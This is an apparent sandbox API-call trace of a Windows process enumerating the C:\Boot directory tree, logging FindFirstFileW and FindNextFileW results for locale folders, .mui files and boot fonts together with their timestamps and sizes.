	[0134.247] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0134.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.248] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd340
	[0134.249] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.249] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.249] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.249] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.249] FindClose (in: hFindFile=0x5dd340 | out: hFindFile=0x5dd340) returned 1
	[0134.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.249] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0134.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.250] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd200
	[0134.255] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.255] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0134.255] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0134.256] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0134.256] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0134.256] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1
	[0134.256] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1
	[0134.256] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1
	[0134.257] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1
	[0134.257] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1
	[0134.257] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1
	[0134.257] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1
	[0134.257] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1
	[0134.258] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1
	[0134.258] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1
	[0134.258] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1
	[0134.258] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0134.259] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
	[0134.259] FindClose (in: hFindFile=0x5dd200 | out: hFindFile=0x5dd200) returned 1
	[0134.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.260] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0134.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.260] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0134.263] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.263] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.263] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0134.264] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0134.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.264] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0134.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.264] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0134.264] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.264] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.264] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.264] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.265] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0134.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.265] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0134.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.265] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0134.267] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.267] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.267] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0134.267] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0134.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.268] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1
